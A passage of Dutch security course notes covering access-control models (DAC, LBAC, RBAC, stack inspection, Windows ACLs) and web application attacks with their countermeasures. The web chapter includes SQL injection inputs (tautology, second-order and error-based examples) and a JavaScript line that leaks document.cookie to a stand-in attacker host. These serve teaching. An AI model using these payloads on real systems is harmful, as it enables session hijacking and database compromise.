30 24 HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE digipas). Andere opties zijn het verifiëren of een gebruiker op een bepaalde locatie is (dialback) of in staat is iets te doen (handtekening, CAPTCHA) Guard Wanneer de guard een actie ontvangt beslist hij wat ermee te doen. We beschouwen enkel het geval waarbij de keuze bestaat uit pass of drop maar er zijn verschillende alternatieven mogelijk. De guard kan gemodelleerd worden als een beveiligingsautomaat die zich in een zekere toestand bevindt. Zijn verzameling toestanden wordt dan gekenmerkt door een aantal getypeerde toestandsvariabelen. Overgangen kunnen worden beschreven door predicaten gebaseerd op de lokale toestand en de actie. 3.2 Klassieke modellen toegangscontrole We maken onderscheid tussen tussen het toegangscontrolebeleid (access control policy) en het toegangscontrolemodel (access control model). Het beleid bepaalt de regels die zeggen wat toegestaan is en wat niet. De semantiek hiervan correspondeert met een zekere toestand in de beveiligingsautomaat. Het toegangsmodel is een verzameling policies met gelijkaardige karakteristieken. het model maakt bepaalde beslissingen over wat zich in de beveiligingstoestand bevindt en hoe acties worden afgehandeld Discretionary Access Control (DAC) Dit model heeft als doel informatie te delen onder controle van diens eigenaar. De sleutelconcepten zijn: Principals zijn gebruikers Beschermde systeem beheert objecten Passieve entiteiten vereisten gecontroleerde toegang Objecten worden benaderd aan de hand van operaties Elk object heeft een eigenaar De eigenaar kan rechten toekennen aan andere gebruikers om operaties uit te voeren. Er bestaan verschillende varianten die het mogelijk maken om het eigendomsrecht van een object door te geven, om het recht tot toekenning van rechten door te geven of om rechten al dan niet te kunnen intrekken. Beveiligingsautomaat voor DAC 1 type Right = <User, Obj, { read, w r i t e }>; 2 Set<User> u s e r s = new Set ( ) ; 3 Set<Obj> o b j e c t s = new Set ( ) ; 4 Set<Right> r i g h t s = new Set ( ) ; // r e p r e s e n t s the Access Control Matrix 5 Map<Obj, User> ownerof = new Map( ) ; 6

31 3.2. KLASSIEKE MODELLEN TOEGANGSCONTROLE 25 7 // Access checks 8 void read ( User u, Obj o ) r e q u i r e s <u, o, read> i n r i g h t s ; {} 9 void w r i t e ( User u, Obj o ) r e q u i r e s <u, o, write > i n r i g h t s ; {} // Actions that impact the p r o t e c t i o n s t a t e 12 void addright ( User u, Right < u, o, r >) 13 r e q u i r e s ( u i n u s e r s ) && ( u i n u s e r s ) && ( o i n o b j e c t s ) && ownerof [ o ] == u ; { 14 r i g h t s [< u, o, r >] = t r u e ; // means : add < u, o, r> to the r i g h t s s e t 15 } void d e l e t e R i g h t ( User u, Right < u, o, r >) 18 r e q u i r e s ( u i n u s e r s ) && ( u i n u s e r s ) && ( o i n o b j e c t s ) && ownerof [ o ] == u ; { 19 r i g h t s [< u, o, r >] = f a l s e ; 20 } void addobject ( User u, Obj o ) 23 r e q u i r e s ( u i n u s e r s ) && ( o n o t i n o b j e c t s ) ; { 24 o b j e c t s [ o ] = t r u e ; 25 ownerof [ o ] = u ; 26 } void d e l O b j e c t ( User u, Obj o ) 29 r e q u i r e s ( o i n o b j e c t s ) && ( ownerof [ o ] == u ) ; { 30 o b j e c t s [ o ] = f a l s e ; 31 ownerof [ o ] = none ; 32 r i g h t s = r i g h t s \ { < u, o, r > i n r i g h t s where o ==o } ; 33 } // A d m i n i s t r a t i v e f u n c t i o n s 36 void adduser ( User u, User u ) r e q u i r e s u n o t i n u s e r s ; { 37 u s e r s [ u ] = t r u e ; 38 } Listing 3.1: DAC Automaat Eigenschappen Een nadeel van DAC is de lastige administratie en de beperkte mate van beveiliging. Door een groepsstructuur toe te voegen met groepen en negatieve permissies kan het DAC model worden uitgebreid. Het beheer blijft echter lastig. Ook uitbreidingen die structuren van operaties voorzien zijn mogelijk. DAC wordt doorgaans echter niet geïmplementeerd aan de hand van een gecentraliseerde beveiligingstoestand. Typisch wordt er gebruik gemaakt van access control lists (Windows 2000) of capabilities (Unix) Mandatory Access Control (MAC) Het doel van dit model is strikte controle verkrijgen over de informatiestroom. Een concreet voorbeeld van dit model is Lattice Based Access Control (LBAC). Hierbij wordt een raster van veiligheidslabels opgesteld. Elk object en elke gebruiker worden gelabeld met een beveiligingslabel. Er wordt dan afgedwongen dat gebruikers enkel informatie kunnen zien onder hun veiligheidsniveau. Een beveiligingslabel bestaat is een tupel bestaande uit een level en een afdeling. Deze laatste bestaat uit een verzameling van categorieën. Een categorie is een sleutelwoord gerelateerd aan een project of interessegebied. De levels worden vervolgend lineair geordend. Bijvoorbeeld: Top Secret

32 26 HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE - Secret - Confidential - Unclassified. Afdelingen worden geordend volgens het bevatten van een deelverzameling. De gebruiker start een sessie of onderwerp die wordt gelabeld bij creatie. Gebruikers met niveau L kunnen onderwerpen starten met labels L L. Volgende regels worden afgedwongen: Een onderwerp met label L kan enkel objecten lezen met label L L. (geen read up) Een onderwerp met label L kan enkel objecten schrijven met label L L. (geen write down) Deze laatste regel biedt een oplossing voor het trojan horse probleem. Beveiligingsautomaat voor LBAC 1 // S t a b l e part o f the p r o t e c t i o n s t a t e 2 Set<User> u s e r s ; 3 Map<User, Label> u l a b e l ; // c l e a r a n c e o f u s e r s 4 5 //Dynamic part o f the p r o t e c t i o n s t a t e 6 Set<Obj> o b j e c t s = new Set ( ) ; 7 Set<S e s s i o n > s e s s i o n s = new Set ( ) ; 8 Map<S e s s i o n, Label> s l a b e l = new Map( ) ; // l a b e l o f s e s s i o n s 9 Map<Obj, Label> o l a b e l = new Map( ) ; // l a b e l o f o b j e c t s // No read up 12 void read ( S e s s i o n s, Obj o ) 13 r e q u i r e s s i n s e s s i o n s && o i n o b j e c t s && s l a b e l [ s ] >= o l a b e l [ o ] ; {} // No w r i t e down 16 void w r i t e ( S e s s i o n s, Obj o ) 17 r e q u i r e s s i n s e s s i o n s && o i n o b j e c t s && s l a b e l [ s ] <= o l a b e l [ o ] ; {} // Managing s e s s i o n s and o b j e c t s 20 void c r e a t e S e s s i o n ( User u, Label l ) 21 r e q u i r e s ( u i n u s e r s ) && u l a b e l [ u ] >= l ; { 22 s = new S e s s i o n ( ) ; 23 s e s s i o n s [ s ] = t r u e ; 24 s l a b e l [ s ] = l ; 25 } void addobject ( S e s s i o n s, Obj o, Label l ) 28 r e q u i r e s ( s i n s e s s i o n s ) && ( o n o t i n o b j e c t s ) && s l a b e l [ s ] <= l ; { 29 o b j e c t s [ o ] = t r u e ; 30 o l a b e l [ o ] = l ; 31 } Listing 3.2: LBAC Automaat Eigenschappen De LBAC structuur is te stijf, er is nood aan vertrouwde objecten. Bovendien is het niet goed geschikt voor commerciële omgevingen en lijdt het onder het covert channel probleem Role-Based Access Control (RBAC) Het doel van dit model is het voorzien van een beheerbaar toegangscontrolemodel. Centraal staat de rol. Een rol correspondeert met een gedefinieerde verzameling verantwoordelijkheden. Op deze

33 3.2. KLASSIEKE MODELLEN TOEGANGSCONTROLE 27 manier wordt er een many-to-many relatie gevormd tussen gebruikers en permissies. Conceptueel kunnen we een rol zien als een verzameling permissies die toegekend kunnen worden aan gebruikers. Wanneer een gebruiker een sessie start kan hij enkele of al zijn rollen activeren. Een sessie heeft vervolgens alle permissies geassocieerd met de geactiveerde rollen. Beveiligingsautomaat voor RBAC 1 // s t a b l e part o f the p r o t e c t i o n s t a t e 2 Set<User> u s e r s ; 3 Set<Role> r o l e s ; 4 Set<Permission > perms ; 5 Map<User, Set<Role>> ua ; // s e t o f r o l e s a s s i g n e d to each u s e r 6 Map<Role, Set<Permission >> pa ; // p e r m i s s i o n s a s s i g n e d to each r o l e 7 8 // dynamic part o f the p r o t e c t i o n s t a t e 9 Set<S e s s i o n > s e s s i o n s ; 10 Map<S e s s i o n, Set<Role>> s e s s i o n r o l e s ; 11 Map<User, Set<S e s s i o n >> u s e r s e s s i o n s ; // a c c e s s check 14 void checkaccess ( S e s s i o n s, Permission p ) 15 r e q u i r e s s i n s e s s i o n s && E x i s t s { r i n s e s s i o n r o l e s [ s ] ; p i n pa [ r ] } ; { 16 } void c r e a t e S e s s i o n ( User u, Set<Role> r s ) 19 r e q u i r e s ( u i n u s e r s ) && r s < ua [ u ] ; { 20 S e s s i o n s = new S e s s i o n ( ) ; 21 s e s s i o n s [ s ] = t r u e ; 22 s e s s i o n r o l e s [ s ] = r s ; 23 u s e r s e s s i o n s [ u ] [ s ] = t r u e ; 24 } 25 void droprole ( User u, S e s s i o n s, Role r ) 26 r e q u i r e s ( u i n u s e r s ) && ( s i n u s e r s e s s i o n s [ u ] ) && ( r i n s e s s i o n r o l e s [ s ] ) ; { 27 s e s s i o n r o l e s [ s ] [ r ] = f a l s e ; 28 } RBAC Extension Een uitbreiding op het RBAC model bestaat uit het invoeren van hiërarchische rollen. Daarnaast kunnen ook beperkingen worden ingevoerd: Static Constraints Beperkingen op de toekenning van gebruikersrollen. Bijvoorbeeld statische scheiding van plichten: niemand kan beide producten en bestellen en betalingen goedkeuren. Dynamic Constraints Beperkingen op de gelijktijdige activatie van rollen. Bijvoorbeeld het afdwingen van de minst geprivilegieerde rol. Toepassing In realiteit wordt RBAC geïmplementeerd in gegevensbanken of specifieke applicaties. In een besturingssysteem kan het worden gesimuleerd aan de hand van het groepconcept. Het kan ook op de applicatieserver worden gesimuleerd.

34 28 HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE Andere modellen voor toegangscontrole Enkele andere modellen: Biba Model Afdwingen van integriteit a.d.h.v informatieverloop Chinese Wall Model Dynamisch toegangscontrolemodel Een consultant kan enkel geheime bedrijfsinformatie zien van één bedrijf in elk mogelijk geval van conflict-of-interest. 3.3 Toegangscontrole voor code Toegangscontrole voor code is noodzakelijk om applicaties uitbreidbaar te maken. Moderne programma s bieden vaak de mogelijkheid tot uitbreiding at run time met mogelijk gedownloade code. Enkele voorbeelden hiervan zijn applets of controls op een webpagina, browser plugins, multimedia codes, etc. Het besturingssysteem voert de applicatie uit samen met al zijn (mogelijk minder betrouwbare) uitbreidingen. Hier faalt het model van één sessie (proces) met een vaste verzameling permissies. Wanneer er onbetrouwbare code wordt uitgevoerd moeten mogelijks de verstrekte permissies worden gereduceerd. Hiervoor is een nieuwe architectuur met betrekking tot toegangscontrole vereist Terminologie Een component is een softwareonderdeel dat een eenheid vormt voor deployment en samengesteld kan zijn door derde partijen. Een applicatie kan bestaan uit meerdere componenten waarbij sommige meer betrouwbaar zijn dan anderen. Een applicatie kan bovendien worden uitgebreid at run time met nieuwe componenten. Een permissie encapsuleert de rechten om middelen aan te spreken of operaties uit voeren. Elke keer een middel wordt aagesproken of een gevoelige operatie wordt uitgevoerd wordt expliciet gecontroleerd welke componenten actief zijn aan de hand van stack inspection. Wanneer er een onregelmatigheid optreedt wordt een exceptie gegooid. Permissies weerspiegelen het recht om een actie te ondernemen. Een beveilingsbeleid kent permissies toe aan componenten. Dit wordt typisch geïmplementeerd als een configureerbare functie die evidence toekent aan permissies. Dit evidence is relevante informatie over de component, zoals waar het vandaan komt en/of het digitaal ondertekend is. Wanneer een component wordt geladen checkt de VM de permissies en onthoudt ze voor de volgende keer Stack Walking Elke poging tot het aanspreken van middelen of uitvoeren van een gevoelige operatie via de platform library is beschermd door een demandpermission(p) oproep voor een gewenste permissie P. Het algoritme hierachter maakt gebruik van stack inspection en stack walking. Let wel op: of dit veilig is, is sterk afhankelijk van de programmeertaal.

35 3.3. TOEGANGSCONTROLE VOOR CODE 29 Veronderstel dat een thread T poogt om een resource aan te spreken. De basisregel stelt dat dit wordt toegestaan wanneer alle componenten op de stack het recht hebben om deze resource aan te spreken. Dit algoritme is echter vaak te restrictief. Beschouw het geval waarin we een vertrouwde component het recht willen geven om bepaalde vensters te openen zonder het recht te geven om arbitraire vensters te openen. De oplossing is door gebruik te maken van stack walk modifiers. Enable permission(p) De oproeper worden niet gecheckt en de vragende partij neemt volledige verantwoordelijkheid. Essentieel om gecontroleerde toegang tot resources mogelijk te maken voor minder betrouwbare code. Disable permission(p) De oproeper zegt dat hij deze permissie niet nodig heeft. Nodig voor principle of least privileged. Beveiligingsautomaat voor stack inspection 1 // NOTE: only support f o r e n a b l i n g o f p e r m i s s i o n s, atomic p e r m i s s i o n s, 2 // and s i n g l e t h r e a d i n g 3 type StackFrame = <Component, Set<Permission >> // s e t o f enabled perms 4 Set<Component> components = new Set ( ) ; 5 Map<Component, Set<Permission >> perms = new Map( ) ; // s t a t i c p e r m i s s i o n s 6 L i s t <StackFrame> c a l l s t a c k = new L i s t ( ) ; 7 8 // Access checks 9 void demand ( Permission p ) 10 r e q u i r e s demandok( c a l l s t a c k, p ) ; {} 11 bool demandok( L i s t <StackFrame> stack, Permission p ) // pure h e l p e r f u n c t i o n 12 { f o r e a c h (<cp, ep> i n s t a c k ) { 13 i f! ( p i n perms [ cp ] ) r e t u r n f a l s e ; 14 i f ( p i n ep ) r e t u r n t r u e ; 15 } ; 16 r e t u r n t r u e ; 17 } // Enabling a p e r m i s s i o n 20 void enable ( Permission p ) 21 r e q u i r e s ( l e t <c, ep> = c a l l s t a c k. Top i n ( p i n perms [ c ] ) ) ; 22 { 23 <c, ep> = c a l l s t a c k. Pop ( ) ; 24 ep [ p ] = t r u e ; 25 c a l l s t a c k. Push(<c, ep>) ; 26 } // c a l l i n g a f u n c t i o n i n component c 29 void c a l l ( Component c ) 30 r e q u i r e s ( c i n components ) ; 31 { 32 c a l l s t a c k. Push(<c,{} >) ;

36 30 HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE 33 } // r e t u r n i n g from a f u n c t i o n 36 void r e t u r n ( ) r e q u i r e s t r u e ; 37 { 38 c a l l s t a c k. Pop ( ) ; 39 } 3.4 Conclusie We kunnen concluderen dat de meeste modellen het Lampson model implementeren met principal, action, guard en protected system. Daarnaast zien we dat beveiligingsautomaten een krachting concept vormen om de semantiek van de beveiligingsbeleid voor te stellen. Vervolgens hebben we drie modellen besproken met elk hun eigen toepasbaarheidsgebied: DAC: Besturingssystemen RBAC: Applicaties en gegevensbanken LBAC: Begint stilaan gebruikt te worden voor integriteitsbescherming. Tenslotte besproken we Code Access Control wat een andere aanpak vereiste dan de andere modellen. 3.5 Windows toegangscontrole en authenticatie Bij het Windowsbesturingssysteem zijn de principals de gebruikers, machines of groepen. Deze worden geïdentificeerd aan de hand van hiërarchischer en globaal unieke Security Identifiers. Authorities beheren de principals en hun credentials. Op elke computer is een dergelijke Local Security Authority aanwezig. De Domain Controller is de authority voor het domein. Tussen Authorities heerst vertrouwen. Zo vertrouwt een computer die deel uitmaakt van een domein het domein zelf. Verschillende domeinen kunnen vetrouwenslinken tussen elkaar vastleggen Logon Session Authenticatie gebeurt lokaal aan de hand van een wachtwoord. Wanneer de computer deel uitmaakt van een domein wordt Kerberos of NTLM gebruikt. Succesvolle authenticatie leidt tot een logon session. Hiervan bestaan verschillende varianten: Interactieve logon session voor gebruiker die lokaal aangemeld zijn. Network logon session voor gebruiker die op afstand zijn aangemeld. Service logon session voor services die uitgevoerd worden onder de naam van een gebruiker. De logon session ontvangt een access token die alle autorisatie-attributen bevat die verbonden zijn met de gebruiker. Alle processen of threads die worden aangemaakt onder een logon session ontvangen dezelfde access token.

37 3.5. WINDOWS TOEGANGSCONTROLE EN AUTHENTICATIE Access Token SID voor de gebruiker SID s voor de groepen waartoe de gebruiker behoort Gedefinieerd door de authority (doorgaans het domein) weerspiegelt de organisationele stuctuur SID s voor de lokale groepen waartoe de gebruiker behoort Lokaal gedefinieerd weerspiegelt de logische rollen van applicaties Privileges voor de gebruiker Windows Security Descriptor Elk beschermbaar object draagt een security descriptor. Voorbeelden van dergelijke objecten zijn bestanden, registers, gedeelde geheugenplaatsen, etc. Deze descriptor bestaat uit: Eigenaars SID Primaire groep SID DACL (Discretionary ACL): gebruikt voor toegangscontrole SACL (System ACL): specificeert wat geauditeerd moet worden Deze wordt aangemaakt op basis van een standaardvoorbeeld op het moment dat een object wordt gecreerd. Windows DACL Een DACL bevat een gesorteerde lijst met toegangscontrole-elementen. Elk item verleent of verbiedt een specifiek toegangsrecht aan een groep gebruikers. Items die toegang verbieden worden vooraan in de lijst geplaatst. De kernel voert toeganscontrole checks uit voor elk beveiligbaar object. Overloop alle items in de DACL van het object. Elk item wordt gematcht op een access token van de vragende thread. De eerste match beslist, wat verklaart waarom verbiedende items eerst in de lijst geplaatst moeten worden Caching Uitgebreide caching wordt gebruikt om de performantie op te drijven. Zo worden de autorisatie attributen gecached. Daarnaast, wanneer een bestand wordt geopend, wordt diens file handle gebruikt als capability zodat verder geen toegangscontrole dient te worden uitgevoerd. Dit betekent echter wel dat verandering pas worden doorgevoerd zodra de gebruiker zich opnieuw aanmeldt.

38 32 HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE Toegangcontrole in applicaties Impersionation De server verifieert de cliënt en bindt diens token aan de thread die de aanvraag uitvoert. Role-Based Zoek de lokale groep SID die overeenkomt met de rol van het access token van de cliënt. Object-Based Beheer zelfs ACL s aan de hand van een API Running least privilege Het mechanisme voor toegangscontrole van het besturingssysteem kan ook gebruikt worden om programma s te sandboxen en zo het OS te beschreven tegen kwetsbaarheden in het programma, virussen, of Trojaanse paarden. Er moet echter aandacht worden besteed aan welke objecten de applicatie nodig heeft en welke geprivilegieerde API s het programma wilt aanspreken Windows Vista s integriteitsbescherming Windows Vista voegt een lattice-based toegangscontrolesysteem toe aan zijn model. Het wordt gebruikt voor integriteitscontrole (cfr. Biba model) Beveiligbare objecten ontvangen een integriteitsniveau wat weerspiegelt hoe belangrijk diens integriteit is. Ook access tokens ontvangen een niveau wat weerspiegelt hoe geïnfecteerd ze zijn. Er wordt onderscheid gemaakt tussen drie niveaus: High (admin), Medium (gebruiker) en Low (niet vertrouwd).

39 Hoofdstuk 4 Webapplicaties 4.1 Het webplatform Een gebruiker start een webapplicatie door in zijn browser te navigeren naar een URL: 1 scheme : / / l o g i n. passwd@address : port / path / to / r e s o u r c e? query \ s t r i n g#fragment Listing 4.1: URL Deze URL, die een HTTP dialoog start tussen de browser en de server bestaat uit: 1. Schema of protocolnaam: http, https, ftp 2. Credentials: loginnaam en wachtwoord 3. Adres: een DNS naam of een IP adres 4. Poort: optioneel poortnummer 5. Hiërarchisch pad naar de resource 6. Een optionele query string parameter 7. Een optionele fragment identificatie HTTP Het Hypertext Transfer Protocol is een toestandsloos applicatie-level request-response protocol. Het wordt vaak gecombineerd met mechanismen om toch een toestand te kunnen bijhouden. Daarnaast wordt het doorgaans gecombineerd met extensies voor authenticatie en veilige communicatie. Het protocol voorzien verschillende methoden waarvan er slecht twee veel gebruikt worden in praktijk: GET bedoeld voor het ophalen van informatie. POST bedoeld voor het doorsturen van informatie. De requests kunnen een variëteit aan headers bevatten, waarvan de meeste veiligheidsgerelateerd. HTTPS Het Hypertext Transfer Protocol biedt zelf geen veilige communicatie aan. Het HTTPS schema gebruikt HTTP bovenop het SSL/TLS protocol. Dit is een gestandaardiseerd transport layer 33

40 34 HOOFDSTUK 4. WEBAPPLICATIES protocol dat een veilige verbinding aanbiedt. Dit protocol is in grote mate configureerbaar wat de veiligheidsgaranties hier sterk afhankelijk van maakt. Gewoonlijk: integriteit en vertrouwelijkheid van communicatie Soms: authentificatie van de server Zelden: authentificatie van de cliënt HTTP Cookie Het cookiemechanisme laat de server toe om key-value pairs bij te houden in de browser. De server gebruikt hiervoor de set-cookie header om de cookie te plaatsen. Alle relevante cookies worden meegestuurd in de header bij elke request naar de server. De server heeft controle over aspecten zoals de vervaldatum, de strekking en de beveiliging van de cookie. HTTP Sessions Om request van een gebruiker te groeperen maakt de server een session-id voor elke gebruiker. Om te zorgen dat deze telkens wordt meegestuurd bij elke request kan gebruik gemaakt worden van cookies of door het embedden van het session-id in de URL. Vanuit beveiligingsperspectief zijn web sessies zeer fragiel. HTTP Authenticatie Er bestaat verschillende mogelijkheden tot authenticatie: Basic HTTP Authenticatie Een gebruikersnaam en wachtwoord worden meegestuurd in de header van een request. Applicatie-level authenticatie Aan de hand van een form worden gebruikersnaam en wachtwoord doorgestuurd naar de server. Optimaal gebeurt dit via HTTPS. Single-Sign-On Ondersteunen van een enkelvoudige combinatie van gebruikersnaam en wachtwoord voor meerdere webapplicaties De browser De browser toont HTML en voert JavaSript code uit. Het handelt gebruikers- en netwerkgebeurtenissen af. Daarnaast biedt het een krachtige API aan voor scripts: Inspecteren en aanpassen van de pagina Inspecteren en aanpassen van metadata Zenden en ontvangen van HTTP Afhandelen van gebeurtenissen

41 4.2. BEDREIGINGSSCENARIO S Bedreigingsscenario s Daar het web een complex applicatieplatform vormt en er verschillende belanghebbenden zijn betekent veiligheid iets verschillend voor elke belanghebbende. Tegenmaatregelen doen veronderstellingen met betrekking tot welke stakeholders kwaadaardig zijn en welke niet. In dit onderdeel worden enkele veelvoorkomende aanvallen beschreven Scenario s Een overzicht van de scenario s Goedaardige browser interageert met kwaadaardige server. De server valt de browser aan. Kwaadaardige server valt andere open sites aan. Kwaadaardige browser valt server aan. Aanvaller luister netwerkcommunicatie af. Aanvaller injecteert goede site met kwaadaardige inhoud. Kwaadaardige server valt browser aan De tegenmaatregel bestaat uit een defensieve implementatie van de browser. Dit gebeurt in eerste instantie door implementation level kwetsbaarheden te voorkomen. Daarnaast moet er een veilig ontwerp aan de basis liggen van de API s die worden aangeboden aan scripts: Scripts hebben geen toegang tot algemeen bestandssysteem. Scripts hebben geen toegang tot algemene netwerk API. Scripts hebben geen toegang tot algemene GUI API. Ondanks deze tegenmaatregelen blijven veel aanvallen mogelijk. Het exploiteren van low-level kwetsbaarheden in de browser blijft een veelvoorkomende activiteit. Bovendien bevat de browser privacy-gevoelige informatie die gelekt kan worden. Tenslotte gaan veel servers een vingerafdruk nemen van de browser om zo de gebruiker te tracken. Server valt andere open pagina aan De remedie tegen deze aanval is het afdwingen van de same-origin-policy (SOP). Dit is een verzameling beveiligingsbeperkingen die worden geimplementeerd in de browser: Scripts kunnen enkel aan informatie die afkomstig is van dezelfde oorsprong als het script. Een oorsprong wordt weergegeven als een triplet: <scheme, address, port> De HTML inhoud hoort bij de origin vanwaar het was gedownload. Scripts horen tot de origin van het HTML document waardoor ze geladen zijn.

42 36 HOOFDSTUK 4. WEBAPPLICATIES Deze techniek beschermt websites tegen kwaadaardige scripts van kwaadaardige websites die gelijktijdig geopend zijn in de browser. Deze techniek is echter niet perfect. Door entiteiten in het DOM kan een script een HTTP request starten bij een andere server. Wanneer de browser geprivilegieerde toegang heeft tot een server kan deze worden misbruikt door de aanvaller. Zo kan een script bijvoorbeeld toegang verkrijgen tot servers achter een firewall. Een ander voorbeeld is wanneer een gebruiker een geautoriseerde sessie heeft met een andere server en een script hierdoor geautoriseerde requests kan sturen. Een andere aanvalsmethode bestaat er in event-handlers te overloaden en zo te achterhalen of een server bestaat of beschikbaar is voor de gebruiker. Kwaadwillige cliënt valt server aan De tegenmaatregelen voor deze aanval zijn vanzelfsprekend: toegangscontrole en authenticatie uitvoeren op de server. Typische aanvallen zijn SQL injection, path injection of command injection. Aanvaller neust rond op het netwerk De tegenmaatregel hiervoor bestaat uit gebruik te maken van SSL/TLS. Mogelijke tegenaanvallen zijn op hun beurt het aanvallen van de publieke sleutelinfrastructuur, het SSL protocol of doen aan SSL stripping. Dit laatste betekent alle https voorkomens vervangen door http in de broncode van de gedownloade webpagina. Injectie van kwaadaardige scripts Een aanvaller kan op verschillende manieren een script injecteren: Door Cross-site scripting (XSS) door het uitbuiten van kwetsbaarheden vergelijkbaar met SQL injectie. Distributie van kwaadaardige advertenties. Hacken van een website die een veelgebruikt script host. Uitbuiten van extensies van een derde-partij. Eénmaal onderdeel van de pagina kan het script de integriteits- en betrouwbaarheidsgarantie van de site doorbreken (en van de bijhorende sessie). 4.3 Kwetsbaarheden en maatregelen Session handling Het tracken van sessies gebeurt doorgaans met cookies. Het authenticatieniveau is doorgaans verbonden met de sessie waardoor, wanneer de hacker de sessie kan overnemen, hij zich kan gedragen als de gebruiker met diens privileges.

43 4.3. KWETSBAARHEDEN EN MAATREGELEN 37 Session Hijacking Session hijacking is een aanval waarbij de aanvaller toegang probeert te krijgen tot de waarde van de sessie-cookie. Dit kan door het netwerk te sniffen, door de cookie te stelen aan de hand van een script of door simpelweg te gokken. Tegenmaatregelen hiervoor bestaan uit het gebruiken van SSL/TLS of een random numbergenerator. De cookie beschikt ook over een HTTPS-only-flag wat ervoor zorgt dat de cookie steeds wordt versleuteld tijdens transport. Session Fixation Bij deze aanval forceert de aanvaller de gebruiker om de sessie-id van de aanvaller te gebruiken. Een eenvoudige tegenmaatregel bestaat uit het vervangen van de session-cookie wanneer het niveau van authenticatie verandert. Cross-site Request Forgery (CSRF) Deze aanval bestaat uit een aanvaller die de browser misleidt tot het injecteren van een request in een geautoriseerde sessie. Dit kan a.d.h.v. scripting of het insluiten van een niet-lokale resources. Tegenmaatregelen bestaan uit het gebruiken van een geheim token en het strikt nakijken van de origin header. Tenslotte bestaan er ook client-side oplossing zoals CsFire 1. Figuur 4.1: Cross-Site Request Forgery 1

44 38 HOOFDSTUK 4. WEBAPPLICATIES Clickjacking De cliënt wordt misleid tot het klikken op een knop of link die een request start binnen de geautoriseerde sessie. Dit kan door het plaatsen van een onzichtbare frame over een andere pagina. Tegenmaatregelen zijn Framebusting Javasript code of gebruik van de X-Frame-Options header. Deze laatste voorziet dat een pagina niet in een frame kan weergegeven worden SQL injectie De meeste webpagina s geven HTML weer na interactie met een gegevensbank. Deze interactie bestaat doorgaans uit SQL queries die (deels) worden gevormd aan de hand van gebruikersinvoer. Een SQL injectie is een aanval waarbij de gebruiker erin slaagt zo n invoer te voorzien dat het effect van SQL query verandert. Elke invoer gebruikt door de webapplicatie die kan gemanipuleerd worden door de aanvaller is een mogelijke plaats voor injectie. HTML form fields Cookies HTTP request headers Second-Order injecties: twee-fasen aanval 1. Voorzie invoer in de database. 2. Gebruik deze gegevens uit de database om nieuwe queries te vormen. Voorbeeld second-order injectie 1. Registreer als een gebruiker met de naam admin --. Op dit moment is er nog geen sprake van injectie. De naam is correct opgeslagen in de database. Veronderstel nu dat het aanpassen van wachtwoorden gebeurt zoals in listing Als we nu ons wachtwoord aanpassen krijgen we een nieuwe query zoals in listing q u e r y S t r i n g = UPDATE u s e r s SET password = + newpassword + WHERE username= + username + AND password = +oldpassword+ Listing 4.2: Updaten wachtwoord 1 q u e r y S t r i n g = UPDATE u s e r s SET password = newpwd WHERE username= admin AND password = oldpassword Listing 4.3: SQL Injection Doelstelling De aanvaller kan verschillende doelen hebben:

45 4.3. KWETSBAARHEDEN EN MAATREGELEN 39 Identificeren van injecteerbare parameters Verkrijgen metadata van de database Ophalen, aanpassen of updaten van data Een DoS-aanval uitvoeren Authenticatie omzeilen Verhogen van privileges Injectievormen Tautologie Door het invoeren van or 1=1-- krijgen we onderstaande query met als resultaat dat de authenticatie slaagt. 1 SELECT accounts FROM u s e r s WHERE 2 l o g i n = or 1=1 AND pass = and pin= Listing 4.4: Tautologie Illegal / logically incorrect queries Door een foutieve query te vormen krijgen we een error bij diens uitvoer. Deze error geeft meestal informatie terug over wat voor systeem wordt gebruikt die dan voor volgende exploits weer gebruikt kan worden. Neem als invoer 1 c o n v e r t ( int, ( s e l e c t top 1 name from s y s o b j e c t s where xtype = u ) ) Listing 4.5: Illegal input Daarnaast zijn er nog verschillende ander manieren: Piggy-backed queries Blind injection Timing attacks Obfuscating encoding Tegenmaatregelen Tegenmaatregelen kunnen worden genomen in de drie fasen van de ontwikkelingscyclus: 1. At coding time Voorkom de introductie van kwetsbaarheden. 2. At testing time Onderschep de aanwezigheid van kwetsbaarheden. 3. At run time Onderschep aanvallen die overblijvende kwetsbaarheden exploiteren. Preventie Preventie bestaat uit defensief programmeren. Het is veel interessanter en goedkoper om dit vooraf te doen dan bij bestaande code. Zuiveren van in- en uitvoer. Whitelisten van toegestane invoer. Identificeren van alle invoerbronnen. Gebruikmaken van gebruiksklare statements. Gebruikmaken van nieuwe query ontwikkelingstechnieken.

46 40 HOOFDSTUK 4. WEBAPPLICATIES Onderscheppen Statische, dynamische of hybride controle van code tijdens de ontwikkelingsen testfase. Deze technieken zijn gebaseerd op een verzameling regels die gevaarlijke patronen onderscheppen. Voorbeelden van dergelijke programma s zijn Fortify Source Code Analyzer, FindBugs, Coverity Static Analysis. Deze software kan echter slachtoffer worden van zowel false-positives en falsenegatives Scripts Hoewel de SOP voorkomt dat script rechtstreeks verbinding maken met een server van de aanvaller kunnen script toch entiteiten aan de webpagina toevoegen die leiden tot een HTTP request naar een script-specifieke server. Als voorbeeld zien we hieronder hoe een script een cookie kan lekken naar een andere server. 1 new Image ( ). s r c = http : / / a t t a c k. com/?= + document. c o o k i e ; Listing 4.6: Javascript code om cookie te lekken Het is zelfs mogelijk voor het script om in twee richtingen te communiceren met JSONP. Zoals gezegd kan voorgaande techniek gebruikt worden om de session cookie te lekken. Eens hiervan in het bezit kan de aanvaller de hele sessie overnemen. Een andere aanval bestaat uit een script dat willekeurige requests stuurt naar de server van waar het script komt en op die manier bijkomende requests stuurt in de gebruikerssessie. Tegenmaatregelen Er zijn twee algemene tegenmaatregelen voor dit probleem: Ontwerp van de JavaScript API en de browser De Same-Origin-Policy die wordt afgedwongen door de brwoser Deze twee zullen de meeste aanvallen kunnen stoppen. Toch zijn bijkomende tegenmaatregelen belangrijk. Defensief programmeren aan de serverzijde om zich te beschermen tegen XSS kwetsbaarheden. De Content Security Policy is een nieuwe W3C standaard die toelaat aan de eigenaar van de pagina om te declareren waar de cliënt verwacht wordt inhoud op te halen. Sandboxing van JavaScript code beperkt de mogelijkheden van een script aan de hand van een beleid dat door de programmeur is gespecificeerd. Information flow security beperkt de stroom van informatie door scripts van gevoelige bronnen naar publieke servers.

